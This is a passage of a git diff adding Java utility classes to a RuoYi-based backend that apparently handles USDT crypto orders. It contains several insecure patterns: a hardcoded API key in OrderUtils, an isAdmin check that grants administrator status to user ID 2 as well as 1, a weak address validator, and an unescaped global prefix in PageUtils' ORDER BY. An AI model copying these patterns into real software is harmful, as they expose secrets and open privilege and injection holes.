dictLabel) + { + return getDictValue(dictType, dictLabel, SEPARATOR); + } + + /** + * 根据字典类型和字典值获取字典标签 + * + * @param dictType 字典类型 + * @param dictValue 字典值 + * @param separator 分隔符 + * @return 字典标签 + */ + public static String getDictLabel(String dictType, String dictValue, String separator) + { + StringBuilder propertyString = new StringBuilder(); + List datas = getDictCache(dictType); + + if (StringUtils.isNotNull(datas)) + { + if (StringUtils.containsAny(separator, dictValue)) + { + for (SysDictData dict : datas) + { + for (String value : dictValue.split(separator)) + { + if (value.equals(dict.getDictValue())) + { + propertyString.append(dict.getDictLabel()).append(separator); + break; + } + } + } + } + else + { + for (SysDictData dict : datas) + { + if (dictValue.equals(dict.getDictValue())) + { + return dict.getDictLabel(); + } + } + } + } + return StringUtils.stripEnd(propertyString.toString(), separator); + } + + /** + * 根据字典类型和字典标签获取字典值 + * + * @param dictType 字典类型 + * @param dictLabel 字典标签 + * @param separator 分隔符 + * @return 字典值 + */ + public static String getDictValue(String dictType, String dictLabel, String separator) + { + StringBuilder propertyString = new StringBuilder(); + List datas = getDictCache(dictType); + + if (StringUtils.containsAny(separator, dictLabel) && StringUtils.isNotEmpty(datas)) + { + for (SysDictData dict : datas) + { + for (String label : dictLabel.split(separator)) + { + if (label.equals(dict.getDictLabel())) + { + propertyString.append(dict.getDictValue()).append(separator); + break; + } + } + } + } + else + { + for (SysDictData dict : datas) + { + if (dictLabel.equals(dict.getDictLabel())) + { + return dict.getDictValue(); + } + } + } + return StringUtils.stripEnd(propertyString.toString(), separator); + } + + /** + * 删除指定字典缓存 + * + * @param key 字典键 + */ + public static void removeDictCache(String key) + { + SpringUtils.getBean(RedisCache.class).deleteObject(getCacheKey(key)); + } + + /** + * 清空字典缓存 + */ + public static void clearDictCache() + { + Collection keys = SpringUtils.getBean(RedisCache.class).keys(CacheConstants.SYS_DICT_KEY + "*"); + SpringUtils.getBean(RedisCache.class).deleteObject(keys); + } + + /** + * 设置cache key + * + * @param configKey 参数键 + * @return 缓存键key + */ + public static String getCacheKey(String configKey) + { + return CacheConstants.SYS_DICT_KEY + configKey; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ExceptionUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ExceptionUtil.java new file mode 100644 index 0000000..214e4a0 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ExceptionUtil.java @@ -0,0 +1,39 @@ +package com.ruoyi.common.utils; + +import java.io.PrintWriter; +import java.io.StringWriter; +import org.apache.commons.lang3.exception.ExceptionUtils; + +/** + * 错误信息处理类。 + * + * @author ruoyi + */ +public class ExceptionUtil +{ + /** + * 获取exception的详细错误信息。 + */ + public static String getExceptionMessage(Throwable e) + { + StringWriter sw = new StringWriter(); + e.printStackTrace(new PrintWriter(sw, true)); + return sw.toString(); + } + + public static String getRootErrorMessage(Exception e) + { + Throwable root = ExceptionUtils.getRootCause(e); + root = (root == null ? e : root); + if (root == null) + { + return ""; + } + String msg = root.getMessage(); + if (msg == null) + { + return "null"; + } + return StringUtils.defaultString(msg); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/GoogleAuthenticator.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/GoogleAuthenticator.java new file mode 100644 index 0000000..3420594 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/GoogleAuthenticator.java @@ -0,0 +1,147 @@ +package com.ruoyi.common.utils; + +import com.google.zxing.BarcodeFormat; +import com.google.zxing.MultiFormatWriter; +import com.google.zxing.WriterException; +import com.google.zxing.client.j2se.MatrixToImageWriter; +import com.google.zxing.common.BitMatrix; +import org.apache.commons.codec.binary.Base32; +import org.apache.commons.codec.binary.Hex; + +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.net.URLEncoder; +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; + +public class GoogleAuthenticator { + public static String getRandomSecretKey() { + SecureRandom random = new SecureRandom(); + byte[] bytes = new byte[20]; + random.nextBytes(bytes); + Base32 base32 = new Base32(); + String secretKey = base32.encodeToString(bytes); + // make the secret key more human-readable by lower-casing and + // inserting spaces between each group of 4 characters + return secretKey.toUpperCase(); // .replaceAll("(.{4})(?=.{4})", "$1 "); + } + + public static String getTOTPCode(String secretKey) { + String normalizedBase32Key = secretKey.replace(" ", "").toUpperCase(); + Base32 base32 = new Base32(); + byte[] bytes = base32.decode(normalizedBase32Key); + String hexKey = Hex.encodeHexString(bytes); + long time = (System.currentTimeMillis() / 1000) / 30; + String hexTime = Long.toHexString(time); + return TOTP.generateTOTP(hexKey, hexTime, "6"); + } + + public static String getGoogleAuthenticatorBarCode(String secretKey, + String account, String issuer) { + String normalizedBase32Key = secretKey.replace(" ", "").toUpperCase(); + try { + return "otpauth://totp/" + + URLEncoder.encode(issuer + ":" + account, "UTF-8") + .replace("+", "%20") + + "?secret=" + + URLEncoder.encode(normalizedBase32Key, "UTF-8").replace( + "+", "%20") + "&issuer=" + + URLEncoder.encode(issuer, "UTF-8").replace("+", "%20"); + } catch (UnsupportedEncodingException e) { + throw new IllegalStateException(e); + } + } + + public static void createQRCode(String barCodeData, String filePath, + int height, int width) throws WriterException, IOException { + BitMatrix matrix = new MultiFormatWriter().encode(barCodeData, + BarcodeFormat.QR_CODE, width, height); + try (FileOutputStream out = new FileOutputStream(filePath)) { + MatrixToImageWriter.writeToStream(matrix, "png", out); + } + } + + static int window_size = 3; // default 3 - max 17 (from google docs)最多可偏移的时间 + + /** + * set the windows size. This is an integer value representing the number of + * 30 second windows we allow The bigger the window, the more tolerant of + * clock skew we are. + * + * @param s + * window size - must be >=1 and <=17. Other values are ignored + */ + public static void setWindowSize(int s) { + if (s >= 1 && s <= 17) { + window_size = s; + } + } + + /** + * Check the code entered by the user to see if it is valid + * + * @param secret + * The users secret. + * @param code + * The code displayed on the users device + * @param timeMsec + * The time in msec (System.currentTimeMillis() for example) + * @return + */ + public static boolean check_code(String secret, long code, long timeMsec) { + Base32 codec = new Base32(); + byte[] decodedKey = codec.decode(secret); + // convert unix msec time into a 30 second "window" + // this is per the TOTP spec (see the RFC for details) + long t = (timeMsec / 1000L) / 30L; + // Window is used to check codes generated in the near past. + // You can use this value to tune how far you're willing to go. + for (int i = -window_size; i <= window_size; ++i) { + long hash; + try { + hash = verify_code(decodedKey, t + i); + } catch (Exception e) { + // Yes, this is bad form - but + // the exceptions thrown would be rare and a static + // configuration problem + // e.printStackTrace(); + throw new RuntimeException(e.getMessage()); + // return false; + } + if (hash == code) { + return true; + } + } + // The validation code is invalid. + return false; + } + + private static int verify_code(byte[] key, long t) + throws NoSuchAlgorithmException, InvalidKeyException { + byte[] data = new byte[8]; + long value = t; + for (int i = 8; i-- > 0; value >>>= 8) { + data[i] = (byte) value; + } + SecretKeySpec signKey = new SecretKeySpec(key, "HmacSHA1"); + Mac mac = Mac.getInstance("HmacSHA1"); + mac.init(signKey); + byte[] hash = mac.doFinal(data); + int offset = hash[20 - 1] & 0xF; + // We're using a long because Java hasn't got unsigned int. + long truncatedHash = 0; + for (int i = 0; i < 4; ++i) { + truncatedHash <<= 8; + // We are dealing with signed bytes: + // we just keep the first byte. + truncatedHash |= (hash[offset + i] & 0xFF); + } + truncatedHash &= 0x7FFFFFFF; + truncatedHash %= 1000000; + return (int) truncatedHash; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/LogUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/LogUtils.java new file mode 100644 index 0000000..0de30c6 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/LogUtils.java @@ -0,0 +1,18 @@ +package com.ruoyi.common.utils; + +/** + * 处理并记录日志文件 + * + * @author ruoyi + */ +public class LogUtils +{ + public static String getBlock(Object msg) + { + if (msg == null) + { + msg = ""; + } + return "[" + msg.toString() + "]"; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/MessageUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/MessageUtils.java new file mode 100644 index 0000000..7dac75a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/MessageUtils.java @@ -0,0 +1,26 @@ +package com.ruoyi.common.utils; + +import org.springframework.context.MessageSource; +import org.springframework.context.i18n.LocaleContextHolder; +import com.ruoyi.common.utils.spring.SpringUtils; + +/** + * 获取i18n资源文件 + * + * @author ruoyi + */ +public class MessageUtils +{ + /** + * 根据消息键和参数 获取消息 委托给spring messageSource + * + * @param code 消息键 + * @param args 参数 + * @return 获取国际化翻译值 + */ + public static String message(String code, Object... args) + { + MessageSource messageSource = SpringUtils.getBean(MessageSource.class); + return messageSource.getMessage(code, args, LocaleContextHolder.getLocale()); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/OrderUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/OrderUtils.java new file mode 100644 index 0000000..722b5dc --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/OrderUtils.java @@ -0,0 +1,55 @@ +package com.ruoyi.common.utils; + +import cn.hutool.core.util.HexUtil; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; + +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Random; + +@Slf4j +@Component +public class OrderUtils { + + public static String hexPrefix= "41"; + public static String apiKey = "1d30da01-8244-423b-a017-7d69aa197313"; + public static String usdt = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; + + public static synchronized String generateOrderNum() { + Random random = new Random(); + SimpleDateFormat allTime = new SimpleDateFormat("MMddHHmmSS"); + String subjectno = allTime.format(new Date())+random.nextInt(10); + return subjectno+random.nextInt(10); + } + + + //生成纯数字 + public static String randomNumber(int n){ + String str="0123456789ABCDEFGHIGKLMNPQRSTUVWXYZ"; + StringBuilder sb=new StringBuilder(n); + for(int i=0;i<6;i++){ + char ch=str.charAt(new Random().nextInt(str.length())); + sb.append(ch); + } + return sb.toString(); + } + public static String randomNumberLower(int n){ + String str="0123456789abcdef"; + StringBuilder sb=new StringBuilder(n); + for(int i=0;i<5;i++){ + char ch=str.charAt(new Random().nextInt(str.length())); + sb.append(ch); + } + return sb.toString(); + } + + public static boolean trcAddrCheck(String address){ + return address.length() == 34; + } + public static boolean ethAddrCheck(String address){ + //return address.length() == 42 && address.startsWith("0x"); + return address.startsWith("0x"); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/PageUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/PageUtils.java new file mode 100644 index 0000000..90fce00 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/PageUtils.java @@ -0,0 +1,38 @@ +package com.ruoyi.common.utils; + +import com.github.pagehelper.PageHelper; +import com.ruoyi.common.core.domain.OrderBySetting; +import com.ruoyi.common.core.page.PageDomain; +import com.ruoyi.common.core.page.TableSupport; +import com.ruoyi.common.utils.sql.SqlUtil; + +/** + * 分页工具类 + * + * @author ruoyi + */ +public class PageUtils extends PageHelper +{ + /** + * 设置请求分页数据 + */ + public static void startPage() + { + + PageDomain pageDomain = TableSupport.buildPageRequest(); + Integer pageNum = pageDomain.getPageNum(); + Integer pageSize = pageDomain.getPageSize(); + String orderBy = OrderBySetting.value+SqlUtil.escapeOrderBySql(pageDomain.getOrderBy()); + OrderBySetting.value = ""; + Boolean reasonable = pageDomain.getReasonable(); + PageHelper.startPage(pageNum, pageSize, orderBy).setReasonable(reasonable); + } + + /** + * 清理分页的线程变量 + */ + public static void clearPage() + { + PageHelper.clearPage(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/QrCodeUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/QrCodeUtil.java new file mode 100644 index 0000000..d46a572 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/QrCodeUtil.java @@ -0,0 +1,279 @@ +package com.ruoyi.common.utils; + +import com.google.zxing.*; +import com.google.zxing.client.j2se.BufferedImageLuminanceSource; +import com.google.zxing.common.BitMatrix; +import com.google.zxing.common.HybridBinarizer; +import com.google.zxing.qrcode.decoder.ErrorCorrectionLevel; + +import javax.imageio.ImageIO; +import java.awt.*; +import java.awt.geom.RoundRectangle2D; +import java.awt.image.BufferedImage; +import java.io.File; +import java.io.OutputStream; +import java.util.Hashtable; +import java.util.Random; + +/** + * 二维码工具类 + * + */ +public class QrCodeUtil { + private static final String CHARSET = "utf-8"; + private static final String FORMAT = "JPG"; + // 二维码尺寸 + private static final int QrCODE_SIZE = 300; + // LOGO宽度 + private static final int LOGO_WIDTH = 60; + // LOGO高度 + private static final int LOGO_HEIGHT = 60; + + private static BufferedImage createImage(String content, String logoPath, boolean needCompress) throws Exception { + Hashtable hints = new Hashtable(); + hints.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.H); + hints.put(EncodeHintType.CHARACTER_SET, CHARSET); + hints.put(EncodeHintType.MARGIN, 1); + BitMatrix bitMatrix = new MultiFormatWriter().encode(content, BarcodeFormat.QR_CODE, QrCODE_SIZE, QrCODE_SIZE, + hints); + int width = bitMatrix.getWidth(); + int height = bitMatrix.getHeight(); + BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB); + for (int x = 0; x < width; x++) { + for (int y = 0; y < height; y++) { + image.setRGB(x, y, bitMatrix.get(x, y) ? 0xFF000000 : 0xFFFFFFFF); + } + } + if (logoPath == null || "".equals(logoPath)) { + return image; + } + // 插入图片 + QrCodeUtil.insertImage(image, logoPath, needCompress); + return image; + } + + /** + * 插入LOGO + * + * @param source + * 二维码图片 + * @param logoPath + * LOGO图片地址 + * @param needCompress + * 是否压缩 + * @throws Exception + */ + private static void insertImage(BufferedImage source, String logoPath, boolean needCompress) throws Exception { + File file = new File(logoPath); + if (!file.exists()) { + throw new Exception("logo file not found."); + } + Image src = ImageIO.read(new File(logoPath)); + int width = src.getWidth(null); + int height = src.getHeight(null); + if (needCompress) { // 压缩LOGO + if (width > LOGO_WIDTH) { + width = LOGO_WIDTH; + } + if (height > LOGO_HEIGHT) { + height = LOGO_HEIGHT; + } + Image image = src.getScaledInstance(width, height, Image.SCALE_SMOOTH); + BufferedImage tag = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB); + Graphics g = tag.getGraphics(); + g.drawImage(image, 0, 0, null); // 绘制缩小后的图 + g.dispose(); + src = image; + } + // 插入LOGO + Graphics2D graph = source.createGraphics(); + int x = (QrCODE_SIZE - width) / 2; + int y = (QrCODE_SIZE - height) / 2; + graph.drawImage(src, x, y, width, height, null); + Shape shape = new RoundRectangle2D.Float(x, y, width, width, 6, 6); + graph.setStroke(new BasicStroke(3f)); + graph.draw(shape); + graph.dispose(); + } + + /** + * 生成二维码(内嵌LOGO) + * 二维码文件名随机,文件名可能会有重复 + * + * @param content + * 内容 + * @param logoPath + * LOGO地址 + * @param destPath + * 存放目录 + * @param needCompress + * 是否压缩LOGO + * @throws Exception + */ + public static String encode(String content, String logoPath, String destPath, boolean needCompress) throws Exception { + BufferedImage image = QrCodeUtil.createImage(content, logoPath, needCompress); + mkdirs(destPath); + String fileName = new Random().nextInt(99999999) + "." + FORMAT.toLowerCase(); + ImageIO.write(image, FORMAT, new File(destPath + "/" + fileName)); + return fileName; + } + + /** + * 生成二维码(内嵌LOGO) + * 调用者指定二维码文件名 + * + * @param content + * 内容 + * @param logoPath + * LOGO地址 + * @param destPath + * 存放目录 + * @param fileName + * 二维码文件名 + * @param needCompress + * 是否压缩LOGO + * @throws Exception + */ + public static String encode(String content, String logoPath, String destPath, String fileName, boolean needCompress) throws Exception { + BufferedImage image = QrCodeUtil.createImage(content, logoPath, needCompress); + mkdirs(destPath); + fileName = fileName.substring(0, fileName.indexOf(".")>0?fileName.indexOf("."):fileName.length()) + + "." + FORMAT.toLowerCase(); + ImageIO.write(image, FORMAT, new File(destPath + "/" + fileName)); + return fileName; + } + + /** + * 当文件夹不存在时,mkdirs会自动创建多层目录,区别于mkdir. + * (mkdir如果父目录不存在则会抛出异常) + * @param destPath + * 存放目录 + */ + public static void mkdirs(String destPath) { + File file = new File(destPath); + if (!file.exists() && !file.isDirectory()) { + file.mkdirs(); + } + } + + /** + * 生成二维码(内嵌LOGO) + * + * @param content + * 内容 + * @param logoPath + * LOGO地址 + * @param destPath + * 存储地址 + * @throws Exception + */ + public static String encode(String content, String logoPath, String destPath) throws Exception { + return QrCodeUtil.encode(content, logoPath, destPath, false); + } + + /** + * 生成二维码 + * + * @param content + * 内容 + * @param destPath + * 存储地址 + * @param needCompress + * 是否压缩LOGO + * @throws Exception + */ + public static String encode(String content, String destPath, boolean needCompress) throws Exception { + return QrCodeUtil.encode(content, null, destPath, needCompress); + } + + /** + * 生成二维码 + * + * @param content + * 内容 + * @param destPath + * 存储地址 + * @throws Exception + */ + public static String encode(String content, String destPath) throws Exception { + return QrCodeUtil.encode(content, null, destPath, false); + } + + /** + * 生成二维码(内嵌LOGO) + * + * @param content + * 内容 + * @param logoPath + * LOGO地址 + * @param output + * 输出流 + * @param needCompress + * 是否压缩LOGO + * @throws Exception + */ + public static void encode(String content, String logoPath, OutputStream output, boolean needCompress) + throws Exception { + BufferedImage image = QrCodeUtil.createImage(content, logoPath, needCompress); + ImageIO.write(image, FORMAT, output); + } + + /** + * 生成二维码 + * + * @param content + * 内容 + * @param output + * 输出流 + * @throws Exception + */ + public static void encode(String content, OutputStream output) throws Exception { + QrCodeUtil.encode(content, null, output, false); + } + + /** + * 解析二维码 + * + * @param file + * 二维码图片 + * @return + * @throws Exception + */ + public static String decode(File file) throws Exception { + BufferedImage image; + image = ImageIO.read(file); + if (image == null) { + return null; + } + BufferedImageLuminanceSource source = new BufferedImageLuminanceSource(image); + BinaryBitmap bitmap = new BinaryBitmap(new HybridBinarizer(source)); + Result result; + Hashtable hints = new Hashtable(); + hints.put(DecodeHintType.CHARACTER_SET, CHARSET); + result = new MultiFormatReader().decode(bitmap, hints); + String resultStr = result.getText(); + return resultStr; + } + + /** + * 解析二维码 + * + * @param path + * 二维码图片地址 + * @return + * @throws Exception + */ + public static String decode(String path) throws Exception { + return QrCodeUtil.decode(new File(path)); + } + + public static void main(String[] args) throws Exception { + String text = "http://www.lrshuai.top?kw=哈哈|新年快乐||哈哈"; + //不含Logo + //QrCodeUtil.encode(text, null, "e:\\", true); + //含Logo,不指定二维码图片名 + //QrCodeUtil.encode(text, "e:\\csdn.jpg", "e:\\", true); + //含Logo,指定二维码图片名 + QrCodeUtil.encode(text, "E:\\lrs_img\\16.png", "e:\\", "qrcode", true); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/RedisUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/RedisUtil.java new file mode 100644 index 0000000..116ebdc --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/RedisUtil.java @@ -0,0 +1,74 @@ +package com.ruoyi.common.utils; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.domain.Range; +import org.springframework.data.redis.connection.stream.*; +import org.springframework.data.redis.core.RedisTemplate; +import org.springframework.stereotype.Component; + +import java.time.Duration; +import java.util.*; + + +@Slf4j +@Component +public class RedisUtil { + private final RedisTemplate redisTemplate; + + @Autowired + public RedisUtil(RedisTemplate redisTemplate){ + this.redisTemplate = redisTemplate; + } + + /** + * XADD 添加stream消息 + * @param key stream对应的key + * @param message 要村粗的消息数据 + */ + public RecordId addStream(String key, Map message){ + RecordId add = redisTemplate.opsForStream().add(key, message); +// log.debug("添加成功:"+add); + return add; + } + + public void addGroup(String key, String groupName){ + redisTemplate.opsForStream().createGroup(key,groupName); + } + + public void delField(String key, String fieldId){ + redisTemplate.opsForStream().delete(key,fieldId); + } + + /** + * 读取所有stream消息 + * @param key + * @return + */ + public List> getAllStream(String key){ + List> range = redisTemplate.opsForStream().range(key, Range.open("-", "+")); + if(range == null){ + return null; + } + for(MapRecord mapRecord : range){ + redisTemplate.opsForStream().delete(key,mapRecord.getId()); + } + return range; + } + + public void getStream(String key){ + List> read = redisTemplate.opsForStream().read(StreamReadOptions.empty().block(Duration.ofMillis(1000*30)).count(2), StreamOffset.latest(key)); + System.out.println(read); + } + + public void getStreamByGroup(String key, String groupName,String consumerName){ + List> read = redisTemplate.opsForStream().read(Consumer.from(groupName, consumerName), StreamReadOptions.empty(), StreamOffset.create(key,ReadOffset.lastConsumed())); + log.debug("group read :{}",read); + } + + public boolean hasKey(String key){ + Boolean aBoolean = redisTemplate.hasKey(key); + return aBoolean==null?false:aBoolean; + } + +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/RequestUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/RequestUtil.java new file mode 100644 index 0000000..d731a13 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/RequestUtil.java @@ -0,0 +1,125 @@ +package com.ruoyi.common.utils; + +import com.alibaba.fastjson.JSONObject; +import com.google.gson.Gson; +import com.google.gson.reflect.TypeToken; +import lombok.extern.slf4j.Slf4j; +import javax.servlet.http.HttpServletRequest; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Map; + +/** + * IP工具类 + * + * @author zebra + * + */ +@Slf4j +public class RequestUtil { + + + /** + * 获取拦截json + * + * @param request + * @return + * @throws Exception + */ + public static String readJSONString(HttpServletRequest request) throws Exception { + StringBuffer json = new StringBuffer(); + String line ; + try { + BufferedReader reader = request.getReader(); + while ((line = reader.readLine()) != null) { + json.append(line); + } + } catch (Exception e) { + log.error("[信息]解析json异常", e); + throw new Exception(); + } + return json.toString(); + } + + public static String getUrlLast(String url) { + int index = url.lastIndexOf("/"); + if (index < 0) { + return ""; + } + url = url.substring(index + 1); + + int index_2 = url.lastIndexOf("?"); + if (index_2 > 0) { + url = url.substring(index_2 + 1); + } + int index_3 = url.lastIndexOf("#"); + if (index_3 > 0) { + url = url.substring(index_3 + 1); + } + return url; + } + + public static String getUrlLastTwo(String url) { + int index = url.lastIndexOf("/"); + if (index < 0) { + return ""; + } + url = url.substring(0, index); + index = url.lastIndexOf("/"); + if (index < 0) { + return ""; + } + return url.substring(index + 1); + } + + public static Map getDataFromRequest(HttpServletRequest request){ + Gson gson = new Gson(); + String type = request.getContentType(); + Map receiveMap = new HashMap(); + if("application/x-www-form-urlencoded".equals(type)){ + Enumeration enu = request.getParameterNames(); + while (enu.hasMoreElements()) { + String key = String.valueOf(enu.nextElement()); + String value = request.getParameter(key); + receiveMap.put(key, value); + } + }else{ //else是text/plain、application/json这两种情况 + BufferedReader reader = null; + StringBuilder sb = new StringBuilder(); + try{ + reader = new BufferedReader(new InputStreamReader(request.getInputStream(), "utf-8")); + String line ; + while ((line = reader.readLine()) != null){ + sb.append(line); + } + } catch (IOException e){ + e.printStackTrace(); + } finally { + try{ + if (null != reader){ + reader.close(); + } + } catch (IOException e){ + e.printStackTrace(); + } + } + receiveMap = gson.fromJson(sb.toString(), new TypeToken>(){}.getType());//把JSON字符串转为对象 + } + return receiveMap; + } + + public static String getParams(HttpServletRequest req){ + Enumeration em = req.getParameterNames(); + JSONObject retJson = new JSONObject(); + while (em.hasMoreElements()) { + String name = (String) em.nextElement(); + String value = req.getParameter(name); + retJson.put(name, value); + } + return retJson.toJSONString(); + } +} + diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/SecurityUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SecurityUtils.java new file mode 100644 index 0000000..ca903eb --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SecurityUtils.java @@ -0,0 +1,120 @@ +package com.ruoyi.common.utils; + +import org.springframework.security.core.Authentication; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.exception.ServiceException; + +/** + * 安全服务工具类 + * + * @author ruoyi + */ +public class SecurityUtils +{ + /** + * 用户ID + **/ + public static Long getUserId() + { + try + { + return getLoginUser().getUserId(); + } + catch (Exception e) + { + throw new ServiceException("获取用户ID异常", HttpStatus.UNAUTHORIZED); + } + } + + /** + * 获取部门ID + **/ + public static Long getDeptId() + { + try + { + return getLoginUser().getDeptId(); + } + catch (Exception e) + { + throw new ServiceException("获取部门ID异常", HttpStatus.UNAUTHORIZED); + } + } + + /** + * 获取用户账户 + **/ + public static String getUsername() + { + try + { + return getLoginUser().getUsername(); + } + catch (Exception e) + { + throw new ServiceException("获取用户账户异常", HttpStatus.UNAUTHORIZED); + } + } + + /** + * 获取用户 + **/ + public static LoginUser getLoginUser() + { + try + { + return (LoginUser) getAuthentication().getPrincipal(); + } + catch (Exception e) + { + throw new ServiceException("获取用户信息异常", HttpStatus.UNAUTHORIZED); + } + } + + /** + * 获取Authentication + */ + public static Authentication getAuthentication() + { + return SecurityContextHolder.getContext().getAuthentication(); + } + + /** + * 生成BCryptPasswordEncoder密码 + * + * @param password 密码 + * @return 加密字符串 + */ + public static String encryptPassword(String password) + { + BCryptPasswordEncoder passwordEncoder = new BCryptPasswordEncoder(); + return passwordEncoder.encode(password); + } + + /** + * 判断密码是否相同 + * + * @param rawPassword 真实密码 + * @param encodedPassword 加密后字符 + * @return 结果 + */ + public static boolean matchesPassword(String rawPassword, String encodedPassword) + { + BCryptPasswordEncoder passwordEncoder = new BCryptPasswordEncoder(); + return passwordEncoder.matches(rawPassword, encodedPassword); + } + + /** + * 是否为管理员 + * + * @param userId 用户ID + * @return 结果 + */ + public static boolean isAdmin(Long userId) + { + return userId != null &&(1L == userId||userId==2L); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ServletUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ServletUtils.java new file mode 100644 index 0000000..febb603 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ServletUtils.java @@ -0,0 +1,218 @@ +package com.ruoyi.common.utils; + +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; +import java.net.URLEncoder; +import java.util.Collections; +import java.util.HashMap; +import java.util.Map; +import javax.servlet.ServletRequest; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import org.springframework.web.context.request.RequestAttributes; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.text.Convert; + +/** + * 客户端工具类 + * + * @author ruoyi + */ +public class ServletUtils +{ + /** + * 获取String参数 + */ + public static String getParameter(String name) + { + return getRequest().getParameter(name); + } + + /** + * 获取String参数 + */ + public static String getParameter(String name, String defaultValue) + { + return Convert.toStr(getRequest().getParameter(name), defaultValue); + } + + /** + * 获取Integer参数 + */ + public static Integer getParameterToInt(String name) + { + return Convert.toInt(getRequest().getParameter(name)); + } + + /** + * 获取Integer参数 + */ + public static Integer getParameterToInt(String name, Integer defaultValue) + { + return Convert.toInt(getRequest().getParameter(name), defaultValue); + } + + /** + * 获取Boolean参数 + */ + public static Boolean getParameterToBool(String name) + { + return Convert.toBool(getRequest().getParameter(name)); + } + + /** + * 获取Boolean参数 + */ + public static Boolean getParameterToBool(String name, Boolean defaultValue) + { + return Convert.toBool(getRequest().getParameter(name), defaultValue); + } + + /** + * 获得所有请求参数 + * + * @param request 请求对象{@link ServletRequest} + * @return Map + */ + public static Map getParams(ServletRequest request) + { + final Map map = request.getParameterMap(); + return Collections.unmodifiableMap(map); + } + + /** + * 获得所有请求参数 + * + * @param request 请求对象{@link ServletRequest} + * @return Map + */ + public static Map getParamMap(ServletRequest request) + { + Map params = new HashMap<>(); + for (Map.Entry entry : getParams(request).entrySet()) + { + params.put(entry.getKey(), StringUtils.join(entry.getValue(), ",")); + } + return params; + } + + /** + * 获取request + */ + public static HttpServletRequest getRequest() + { + return getRequestAttributes().getRequest(); + } + + /** + * 获取response + */ + public static HttpServletResponse getResponse() + { + return getRequestAttributes().getResponse(); + } + + /** + * 获取session + */ + public static HttpSession getSession() + { + return getRequest().getSession(); + } + + public static ServletRequestAttributes getRequestAttributes() + { + RequestAttributes attributes = RequestContextHolder.getRequestAttributes(); + return (ServletRequestAttributes) attributes; + } + + /** + * 将字符串渲染到客户端 + * + * @param response 渲染对象 + * @param string 待渲染的字符串 + */ + public static void renderString(HttpServletResponse response, String string) + { + try + { + response.setStatus(200); + response.setContentType("application/json"); + response.setCharacterEncoding("utf-8"); + response.getWriter().print(string); + } + catch (IOException e) + { + e.printStackTrace(); + } + } + + /** + * 是否是Ajax异步请求 + * + * @param request + */ + public static boolean isAjaxRequest(HttpServletRequest request) + { + String accept = request.getHeader("accept"); + if (accept != null && accept.contains("application/json")) + { + return true; + } + + String xRequestedWith = request.getHeader("X-Requested-With"); + if (xRequestedWith != null && xRequestedWith.contains("XMLHttpRequest")) + { + return true; + } + + String uri = request.getRequestURI(); + if (StringUtils.inStringIgnoreCase(uri, ".json", ".xml")) + { + return true; + } + + String ajax = request.getParameter("__ajax"); + return StringUtils.inStringIgnoreCase(ajax, "json", "xml"); + } + + /** + * 内容编码 + * + * @param str 内容 + * @return 编码后的内容 + */ + public static String urlEncode(String str) + { + try + { + return URLEncoder.encode(str, Constants.UTF8); + } + catch (UnsupportedEncodingException e) + { + return StringUtils.EMPTY; + } + } + + /** + * 内容解码 + * + * @param str 